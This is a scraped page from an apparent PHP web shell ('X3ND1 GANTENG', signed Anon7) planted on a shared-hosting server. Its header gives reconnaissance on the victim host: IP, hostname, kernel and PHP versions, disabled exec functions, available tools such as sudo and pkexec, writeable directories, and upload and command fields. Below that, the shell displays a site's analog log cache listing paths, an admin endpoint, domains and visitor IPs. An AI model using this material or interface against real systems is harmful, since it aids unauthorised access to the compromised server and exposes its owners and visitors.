X3ND1 GANTENG
Server IP : 108.163.255.210  /  Your IP : 18.117.151.127
Web Server : Apache
System : Linux blossom.urlnameserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User :  ( 1172)
PHP Version : 7.2.34
Disable Function : eval,escapeshellarg,proc_close,proc_get_status,proc_nice,proc_open,symlink,system,pcntl_exec,getrusage,chown,chgp,closelog,openlog,syslog,define_syslog_variables,php_ini_loaded_file,getservbyname,getservbyport,posix_getgid,posix_getgrgid,proc_terminate,pfsockopen,apache_child_terminate,posix_mkfifo,posix_setpgid,posix_setuid,hypot,pg_host,pos,posix_access,posix_getcwd,posix_getservbyname,myshellexec,getpid,posix_getsid,posix_isatty,posix_kill,posix_mknod,posix_setgid,posix_setsid,posix_setuid,posix_times,posix_uname,ps_fill,posix_getpwuid,global,ini_restore,zip_open,zip_read,rar_open,bzopen,bzread,bzwrite,apache_get_modules,apache_get_version,phpversionphpinfo,php_ini_scanned_files,get_current_user,disk_total_space,diskfreespace,leak,imap_list,hypo,filedump,safe_mode,getmygid,apache_getenv,apache_setenv,bzread,bzwrite,bzopen,phpini,higlight_file,dos_conv,get_cwd,er_log,cmd,e_name,vdir,get_dir,only_read,ftok,ftpexec,posix_getpwnam,mysql_list_dbs,disk_free_space,session_save_path,confirm_phpdoc_compiled,zip_entry_rea,php_u,psockopen,crack_opendict,crack_getlastmessage,crack_closedict,crack_check,fpassthru,posix_get_last_error,posix_getlogin,posix_getgroups,posix_strerror,posix_getrlimit,posix_getpgrp,posix_getgrnam,pos,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/unilinki/tmp/analog/binarygains.unilinkindia.co.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ BERANDA ]     

Current File : /home/unilinki/tmp/analog/binarygains.unilinkindia.co.in/cache
CACHE type 5 produced by analog 6.0/Unix. Do not modify or delete!
T	0	0	89	2	0	13	958930
D	25779530	25780487
17902	130	54	2	935809
17903	31	17	0	8109
17903	32	18	0	15012
1	1	0	0	0	25780480	0	0	25780480	0	0	6903	/cgi-sys/defaultwebpage.cgi?202.173.124.235
1	1	0	0	0	25780480	0	0	25780480	0	0	6903	/cgi-sys/defaultwebpage.cgi
1	1	1	0	0	25779531	0	0	25779531	0	0	1511	/uploads/logo/
1	1	0	0	0	25779531	0	0	25779531	0	0	2345	/css/meanmenu.min.css
1	1	0	0	0	25779531	0	0	25779531	0	0	10444	/css/pe-icon-7-stroke.min.css
1	1	0	0	0	25779531	0	0	25779531	0	0	3754	/img/register.png
1	1	0	0	0	25779531	0	0	25779531	0	0	11741	/js/jquery.meanmenu.js
1	1	0	0	0	25779530	0	0	25779530	0	0	64	/.well-known/pki-validation/009037EB59230FB7E800531A5A7E4AA3.txt
1	14	0	0	0	25780480	0	0	25780480	0	0	1078	/.well-known/pki-validation/C3ED81D89FDDE3F8E6A2FE6EBFA9CA73.txt
1	1	0	0	0	25779531	0	0	25779531	0	0	70894	/style.css
1	1	0	0	0	25779531	0	0	25779531	0	0	110143	/css/bootstrap.min.css
1	1	0	0	0	25779531	0	0	25779531	0	0	9271	/img/downline.png
1	1	0	0	0	25779530	0	0	25779530	0	0	64	/.well-known/pki-validation/2800875B89A7708ACC435EBDEEFC24FF.txt
1	14	0	0	0	25780476	0	0	25780476	0	0	1078	/.well-known/pki-validation/9D8056492467CE5B9B7421669313F234.txt
1	1	0	0	0	25780476	0	0	25780476	0	0	64	/.well-known/pki-validation/E740FF973A301F942075F09A6D0C016B.txt
1	1	0	0	0	25779531	0	0	25779531	0	0	15514	/js/vendor/modernizr-2.8.3.min.js
1	1	0	0	0	25779531	0	0	25779531	0	0	74096	/css/animate.css
1	1	0	0	0	25779531	0	0	25779531	0	0	5927	/img/success_trophy.png
1	1	0	0	0	25779531	0	0	25779531	0	0	24017	/js/jquery-ui.min.js
1	1	0	0	0	25779531	0	0	25779531	0	0	4119	/js/jquery.simpleLens.min.js
1	1	0	0	0	25779531	0	0	25779531	0	0	2938	/css/nivo-slider.css
1	1	0	0	0	25779531	0	0	25779531	0	0	4394	/img/4_1.png
1	1	0	0	0	25779531	0	0	25779531	0	0	6885	/img/register-icon.png
1	1	0	0	0	25779531	0	0	25779531	0	0	167455	/img/network.png
1	1	1	0	0	25779531	0	0	25779531	0	0	16430	/
1	1	0	0	0	25779531	0	0	25779531	0	0	4507	/img/invite_friends.png
1	1	0	0	0	25779531	0	0	25779531	0	0	37107	/js/bootstrap.min.js
1	0	0	0	9	0	0	25780485	0	0	25779532	0	/binarygains/
1	1	0	0	0	25779531	0	0	25779531	0	0	5924	/js/main.js
1	1	0	0	0	25779531	0	0	25779531	0	0	18462	/img/tree.png
1	0	0	0	1	0	0	25779531	0	0	25779531	0	/robots.txt
1	1	0	0	0	25779531	0	0	25779531	0	0	23890	/js/owl.carousel.min.js
1	1	0	0	0	25779531	0	0	25779531	0	0	5081	/img/invite_friend_icon.png
1	1	0	0	0	25779531	0	0	25779531	0	0	16819	/css/jquery-ui.min.css
1	1	0	0	0	25779531	0	0	25779531	0	0	1082	/css/jquery.simpleLens.css
1	1	0	0	0	25779531	0	0	25779531	0	0	2803	/js/plugins.js
1	1	0	0	0	25779531	0	0	25779531	0	0	2962	/js/countdown.js
1	1	0	0	0	25780476	0	0	25780476	0	0	6903	/cgi-sys/defaultwebpage.cgi?91.199.212.132
1	1	0	0	0	25779531	0	0	25779531	0	0	105190	/img/build.png
1	1	0	0	0	25779531	0	0	25779531	0	0	15083	/css/responsive.css
1	1	0	0	0	25780480	0	0	25780480	0	0	64	/.well-known/pki-validation/85ECA829C33861D3D6C211C291E67BE6.txt
1	1	0	0	0	25779531	0	0	25779531	0	0	97362	/js/vendor/jquery-1.12.0.min.js
1	1	0	0	0	25779531	0	0	25779531	0	0	3812	/img/success.png
1	1	0	0	0	25779531	0	0	25779531	0	0	7621	/css/owl.carousel.css
1	1	0	0	0	25779531	0	0	25779531	0	0	5029	/img/4_2.png
1	1	0	0	0	25779531	0	0	25779531	0	0	12201	/js/jquery.nivo.slider.pack.js
1	1	0	0	0	25780476	0	0	25780476	0	0	64	/.well-known/pki-validation/FA5DFDCB9CC09A83F1F5FBF7E32EBF91.txt
1	0	0	0	3	0	0	25780487	0	0	25780486	0	/binarygains/index.php
1	14	0	0	0	25779530	0	0	25779530	0	0	1078	/.well-known/pki-validation/6D3644557CF7EB13AF5A1D49232C4974.txt
1	1	0	0	0	25779531	0	0	25779531	0	0	0	/admin/readajax.php
1	1	0	0	0	25779531	0	0	25779531	0	0	27466	/css/font-awesome.min.css
1	1	0	0	0	25779531	0	0	25779531	0	0	324	/js/sticky.js
1	1	0	0	0	25780480	0	0	25780480	0	0	64	/.well-known/pki-validation/720314C907EBB96451F8BA3E00B128A1.txt
3	0	0	0	4	0	0	25780485	0	0	25779534	0	https://magenta.urlnameserver.com:2083/
3	3	0	0	0	25780480	0	0	25780476	0	0	20709	http://binarygains.in/
3	37	1	0	0	25779531	0	0	25779531	0	0	918173	http://binarygains.unilinkindia.co.in/
4	48	0	0	0	25780480	0	0	25779530	0	0	3618	COMODO DCV
4	41	2	0	13	25780480	0	25780487	25779531	0	25779531	955312	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
5	3	0	0	5	25780480	0	25780487	25780476	0	25780476	20709	202.173.124.113
5	33	0	0	0	25780480	0	0	25779530	0	0	2463	184.154.52.138
5	38	2	0	8	25779531	0	25779536	25779531	0	25779531	934603	202.173.124.235
5	15	0	0	0	25780480	0	0	25779530	0	0	1155	91.199.212.132
z	0	1	0	25779531	0
z	2	48	0	25780480	3618
z	3	1	0	25779531	324
z	4	21	1	25780480	100674
z	5	15	1	25779531	471526
z	6	3	0	25779531	382788
c	200	89	25780480
c	404	13	25780487

Anon7 - 2022
SCDN GOK